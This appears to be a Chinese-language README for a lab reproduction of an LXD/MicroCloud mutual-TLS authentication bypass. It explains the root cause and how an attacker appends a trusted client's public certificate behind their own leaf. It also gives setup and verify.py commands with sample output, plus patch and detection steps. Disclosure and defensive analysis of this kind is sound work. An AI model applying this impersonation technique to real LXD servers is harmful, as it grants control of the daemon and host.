独立复现、根因分析与检测指引。
LXD 和 MicroCloud 通过双向 TLS 对远程 API 客户端进行认证,其方式是将客户端证书与信任存储进行比对。在修复之前,服务器会将客户端发送的每一张证书都与该存储进行比对,而不是只比对叶子证书。
只有叶子证书才能证明对私钥的持有。叶子证书之后的证书是客户端自行附加的、未经认证的数据。因此,能够访问 HTTPS API 且知道任意受信任客户端公开证书的攻击者可以:
[attacker leaf] + [victim's public certificate] 作为其 TLS 客户端证书链发送,受害者的公开证书并非机密——它会在握手过程中呈现,在 MicroCloud 的集群加入流量中出现,并且通常会被记录在配置管理中。无需任何私钥。
影响范围仅受被冒充客户端所拥有的权限限制。如果该客户端不受限制,攻击者实际上就获得了对 LXD 守护进程的控制权,并借此控制宿主机。
| CVE | CVE-2026-112816 |
| 类别 | CWE-295 证书验证不当 → 认证绕过 |
| 安全公告 | Canonical 安全公告,2026 年 10 月 28 日 |
| 报告者 | 由 Incus 项目转交 Canonical(该项目中致谢:stgraber) |
| 修复版本 | LXD 6.10.1、5.21.9、5.0.11、4.0.15 · MicroCloud 3.4.1、2.1.5(2026-10-29) |
| 复现环境 | LXD 3.20,隔离容器实验环境,2026 年 11 月 1 日 |
这并非最初的发现。该漏洞在本仓库存在之前就已被发现、报告并修复。此处的一切内容都是在公开披露之后准备的独立复现与说明,面向防御者以及研究该模式的科研人员。
poc/verify.py 是唯一的证据来源。它将阴性对照与漏洞利用配对呈现,因此仅凭一个 HTTP 200 不会被误认为认证成功。
=== CVE-2026-112816 decisive check ===
target : 127.0.0.1:8443/1.0/certificates
[1/3] control: attacker leaf only (no trusted certificate)
TLS TLSv1.3 / TLS_AES_128_GCM_SHA256 -> HTTP 403
=> REFUSED (expected)
[2/3] exploit: attacker leaf + trusted public certificate
chain: attacker_chain.pem (2 certs)
TLS TLSv1.3 / TLS_AES_128_GCM_SHA256 -> HTTP 200
=> ACCEPTED
[3/3] authority: response must contain the trust store
trust entries returned: 1
[0] CN=trusted-client fingerprint=211cab96ad2e
VERDICT: [VULNERABLE]
reason: the same leaf was refused alone and accepted with a trusted certificate appended, and it read the trust store
同一个叶子证书单独提交会被拒绝,而附加一张公开的受信任证书后则会被接受。这种不对称性正是该漏洞所在。
.
├── README.md ← you are here
├── docs/
│ ├── 01-technical-analysis.md ← root cause, trust model, why it works
│ ├── 02-lab-reproduction.md ← exact, reproducible lab build
│ ├── 03-detection-and-mitigation.md ← exposure check, fix, detection
│ └── 04-disclosure-timeline.md ← public timeline and credits
├── poc/
│ ├── verify.py ← decisive check: control + exploit + verdict
│ ├── reproduce.py ← single crafted request, raw output
│ ├── make_lab_certs.sh ← throwaway lab PKI generator
│ └── README.md ← usage, design notes, exit codes
├── SECURITY.md ← scope, authorised-use terms, contact
└── LICENSE
# 1. Generate the lab certificates: a "victim" certificate to trust, an attacker
# keypair, and the crafted chain [attacker leaf] + [trusted public cert].
./poc/make_lab_certs.sh --out /tmp/lab
# 2. Register the victim certificate and expose the API on the lab daemon.
lxc config trust add /tmp/lab/trusted_client.crt
lxc config set core.https_address :8443
# 3. Run the decisive check.
python3 poc/verify.py --host 127.0.0.1 --port 8443 \
--chain /tmp/lab/attacker_chain.pem --key /tmp/lab/attacker_private.key
当目标已修补时,verify.py 以 0 退出;当目标存在漏洞时,以 1 退出;发生 TLS 错误时,以 2 退出;当结果不确定时,以 3 退出,因此它可以被审计脚本或 CI 包装调用。
HTTPS 监听器被配置为请求客户端证书,但不要求也不验证它们(tls.RequestClientCert)。这是有意为之:LXD 的信任是基于每个守护进程存储的指纹匹配,而不是 PKI。该漏洞在于,信任查找遍历的是 r.TLS.PeerCertificates——即按接收到的完整证书链——而不是 PeerCertificates[0]。由于证书链由客户端提供且未经验证,链中的任何条目都可能满足查找条件。修复方案将每次信任存储比较都收窄到第一个对端证书。
docs/01-technical-analysis.md 涵盖了带注释的请求流程、受影响的代码路径(证书续期与删除、VM 代理连接、授权脚本片段)、攻击者获取公共证书的途径,以及 CVSS 10.0 评分背后的推理。
sudo snap refresh lxd # ≥ 6.10.1 (6/stable), 5.21.9, 5.0.11, 4.0.15
sudo snap refresh microcloud # ≥ 3.4.1 (3/stable), 2.1.5
snap list lxd microcloud # verify the installed version, not the refresh result
检查暴露面——一个从未设置过 core.https_address 的独立 LXD 根本无法通过网络访问:
lxc config get core.https_address
lxc config trust list
从行为上确认补丁:
python3 poc/verify.py --host <target> --port 8443 \
--chain attacker_chain.pem --key attacker_private.key
# exit 0 + "VERDICT: [PATCHED]"
完整的防御方指南(包括成功绕过从网络侧看是什么样子)见 docs/03-detection-and-mitigation.md。
本仓库是一个实验环境复现与分析。它不包含扫描器、不包含载荷、不包含
后利用工具,也不包含目标列表。verify.py 和 reproduce.py 默认指向
127.0.0.1,这是有意为之。
针对你不拥有或未获得书面授权测试的基础设施运行本代码,在大多数司法管辖区 均属违法,也不属于本代码支持的使用方式。参见 SECURITY.md。
GHSA-99jp-jwmc-65p4(canonical/lxd)— 从该公告链接core.https_address 以及默认仅使用 Unix 套接字的姿态MIT — 参见 LICENSE。文档按原样提供,不附带任何担保,仅供防御 与教育用途。